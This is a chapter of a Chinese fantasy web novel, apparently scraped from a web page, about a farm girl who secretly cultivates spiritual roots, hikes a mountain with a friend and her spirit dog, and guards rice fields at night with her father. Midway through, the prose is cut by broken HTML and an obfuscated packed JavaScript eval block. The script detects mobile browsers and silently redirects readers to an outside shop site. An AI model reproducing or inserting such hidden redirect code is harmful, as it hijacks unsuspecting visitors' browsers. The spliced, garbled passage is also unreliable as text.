晚饭后,林禾容一双大眼眨巴眨巴的,双手绞在一起,欲言又止。
林禾安看了她一眼,就凑过去,“老四,又有什么坏点子了?”
林禾容瞬间睁大双眼,无辜道:“什么叫坏主意?三哥,你也太讨厌了!”
虽然林禾容气呼呼的,但她依然没有回屋,林禾安一脸了然,他也不追问,就等林禾容沉不住气主动交代。
果然,没有几息的功夫,林禾容就忍不住了。
她找到林继业,满是谄媚,“嘿嘿,爹,我也想跟你们去守田。”
“说什么呢,不行!”
得到意料之中的答案,林禾容急地在原地直蹦,“爹!你就让我去吧!”
这次不论林禾容多么会说,林继业也没答应。
直到睡下,林禾容还在抱着胳膊叹气。
一个床上的林禾宁不懂姐姐为什么要去守田,但她还是出声安慰,“姐,爹是担心你去不安全。”
黑暗中,林禾容再次叹息,“我知道,但我真的想去,我亲眼看着它们长大,如今移栽到了田里,我也想让它们好好成长。”
“可我这心里总是不安,就担心有人对稻苗下手。”
林禾宁似懂非懂地点头,四姐对庄稼还真是上心。
其实,林禾容是想借着这个由头,去田里修炼。
夜间、户外,绝对是绝佳的修炼时机。
而且,她的木灵根同时也能帮助庄稼生长,是个一举两得的好事。
可这个名正言顺的机会她没有到手,总不能每天晚上都偷溜出去吧,林禾容辗转反侧。
移栽的第一夜安全度过。
白天林父与林大哥在家补觉。
林禾容继续背起小背篓,准备上山,后面依旧跟着玄墨。
没想到,今天遇上了林宝珠。
林禾容很开心,这是她在这里的第一个朋友,远远地伸出手打招呼,“宝珠,你干什么去?”
林宝珠也露出笑,“我想上趟山。”
二人走近,林宝珠的笑容变成担忧,“可自从上次以后,我就有些害怕,正在这儿犹豫呢。”
得知好友的顾虑,林禾容拍拍胸脯,“那你可是碰对人了,我也要上山,咱们一起你就不怕了。”
明明林禾容也是一个小姑娘,但林宝珠就是莫名地相信她。
二人说说笑笑,路程变得很短暂。
越到山脚,人家越稀少。
隔着很远,林禾容就听到了清脆的、有节奏的声音。
之前路过她也没太在意,今天有林宝珠这个原住民在,林禾容一时好奇地问了下这家的情况。
林宝珠看向前面,“哦,那是江家,打铁的。”
林禾容恍然,怪不得总听到叮叮当当的声响。
“江家呢,不种地,祖祖辈辈以打铁为生,江叔手艺很好,不仅是咱们村,十里八乡的人都知道江家铁铺,时不时会有外面的人来找江叔呢。”
林禾容看了看四周的环境,不解道:“可江家为什么住这么偏,住村南的话,交通方便,生意不是更好吗?”
林宝珠微微一笑,“这你就不知道了吧。”
“当年,江家祖上逃难到了咱们这儿,被收留后,只能在这山脚下有个容身之所。”
“江家铁铺的好名声是后来的事了,听说江叔舍不得老屋,就一直没搬家,用大家的话说,江家有这手艺,哪怕住山头上,也会有客人的。”
通过林宝珠的讲解,林禾容知道了江家的过往,原来经常路过的人家竟然有这样的历史。
说话间,两人走过了江家,向山上而去。
江家院里,江年正在随着父亲练习打铁,这已经成了他新的兴趣爱好。
天空万里无云,二人在山上漫无目的地走着。
林禾容今天来,只是想吸收一下漫山植物的气息,帮助修炼木灵根,而身旁有林宝珠在,她只能说自己走不动了,时不时地休息一下。
林禾容闭目养神的时候,感觉自己像是偷学东西的邪修。
不过,这次同行,让林禾容看到了一个不一样的林宝珠。
自从她们认识后,在林禾容心中,林宝珠就是一个普通的女子,软软糯糯、容易哭鼻子。
可没想到,她体能非常好。
林禾容一开始休息是借口,可后来是真的走不动了。
反观一旁的林宝珠,不仅不用休息,林禾容甚至感觉她能翻过这座山。
林禾容坐在石头上,气喘吁吁地看向林宝珠,“你怎么不累啊?”
听到这个问题,林宝珠不好意思地笑了,“天生的,我从小就体质好,我哥也是,不然他也不会去从军。”
对于体力好的人,林禾容是真心佩服。
看林禾容还没缓过来,林宝珠干脆坐在一旁,“那天在山上遇到严三柱时,我就尝试反抗,可惜,虽然体力高于寻常女子,但面对男子,我还是没挣扎的空间。”
林禾容缓缓点头,“那,你有没有想过简单学习一些武功,或者简单的招式,只要能自保就好。”
“说句不好听的,在村里,你家没有壮劳力,很容易被人欺负。”
“可如果你有了本领,能保护自己和家,那么,那天的事一定不会再发生。”
林宝珠苦笑,“我又何尝不知这个理儿。”
“但是,农家女子想要习武可谓难如登天,我根本没有途径去学习。”
面对这种困境,林禾容暂时也没办法。
两人陷入沉默。
半晌,林禾容起身,拍拍身后的土,“走吧,办法总比困难多。”
这种乐观的态度,影响了林宝珠,二人继续往山中进发。
越往深处走,林禾容就发现植物越茂盛,同时,对于木灵根的修炼帮助更大。
脚边的玄墨忽然停下,鼻子一直在闻什么。
还没等林禾容说话,它就咻地一下跑没影了。
林宝珠吓了一跳,她想追过去,却被林禾容拉住了衣袖。
只因林禾容听到玄墨兴奋的语气,“好好闻啊!”
自从那天丹田有了反应,林禾容就希望玄墨也能恢复修为,可惜,这几天玄墨一直没动静。
现在看样子,它是嗅到了与之相关的东西,才会那般激动。
林宝珠焦急地握住林禾容的手,“小黑去哪儿了,会不会有危险?”
林禾容让她安心,“不会的,它应该…就是尿急了。”
看林禾容一点儿也不紧张,林宝珠这才慢慢冷静下来。
等玄墨的功夫,林禾容也在感受周围的气场,的确有助于灵根修炼,她计划着以后可以带玄墨经常过来。
过了好一会儿,才听到草丛里的脚步声。</
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17533465|203753||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
p>
玄墨吐着舌头跑了回来。
“机遇来的就是这么突然,我再也不是普通狗,玄墨大王回来了!”
看它神气的模样,林禾容就知道玄墨的灵力也有了眉目,至于恢复多少,等回家再说。
二人在山上并无太多收获,只是摘了些野菜、野果,便回家去了。
一进家门,林禾容就拉着玄墨躲在墙根底,不等她开口问,玄墨就一股脑地全交代了。
方才玄墨忽然闻到了熟悉的味道,不是某种东西的味儿,而是之前跟着主人修炼时,空气中弥漫的那种味道。
所以,玄墨才会下意识地冲过去。
而跑近密林中,玄墨感觉自己仿佛置身于云层之上。
周身一阵温暖过后,玄墨感受到了久违的灵力波动,不过完全不急从前。
林禾容听完玄墨的描述,衷心地为它感到开心。
直至今日,两个异世之魂终于拥有了原本的力量。
林禾容没有忘记要去田里守夜的事,依旧缠着林父。
林继业平时很宠闺女,但在这件事情上十分坚持,不为别的,只是担心林禾容的安全。
没办法,林禾容又去求母亲。
又是同样的答案。
于是,在一个夜晚,等林禾宇收拾东西时,林禾容制止了他,“大哥,求你,今晚让我去吧!”
林禾宇摇头,“那不行……”
“就这么定了,谢谢大哥!”话音留着空中,林禾容早已跑出了门。
林禾宇夫妇对视一眼,一时不知该如何是好。
当林继业看到整装待发的林禾容时,他无奈至极,“说好了,不准乱跑,有事躲我后面。”
林禾容疯狂点头,“爹说得是。”
再多的话林继业也不忍说,便带着林禾容出了门。
父女二人很快到达地头。
这段时间里,旱稻长势喜人,这还多亏了在家时,林禾容每天用灵力滋养它们,如今到了田里,也成长地很好。
林继业铺了一件破袄,“你就坐在这儿,根据我们最近的经验,也没什么事,等天亮咱就回去。”
林禾容乖巧应下,准备默默打坐。
正如林老爹所说,夜晚极其安静,完全没有什么可疑人员。
林禾容放匀呼吸,感受着丹田的变化。
水木两种灵根在丹田里悠然晃动,林禾容感受到,它们明显比刚开始要强壮许多。
一呼一吸之间,周围植物和水汽,形成一种无形的力量,隐隐围绕在林禾容身边。
其实,林禾容也不明白,没有灵力应该无法修炼,但此时她的确能提升修为。
这些林继业都不知道,他只看到女儿乖乖坐在那里,闭目养神。
时间慢慢过去,二人渐渐放松警惕,等待天明。
“咔嚓!”
细微的声响打破了这份宁静。
父女二人一齐向那边看去,但由于天太黑什么也没看到。
林继业立马走到林禾容身旁,他不敢过去,担心留下的女儿会遇险。
两人盯着大树后面,隐约听到了呼吸声。
林继业握紧了手中的锄头,随时准备战斗。
躲在他身后的林禾容则捏住指尖,若遇危险,暴不暴露的已经不是很重要了。
“呵!让我给遇上这个傻子了!”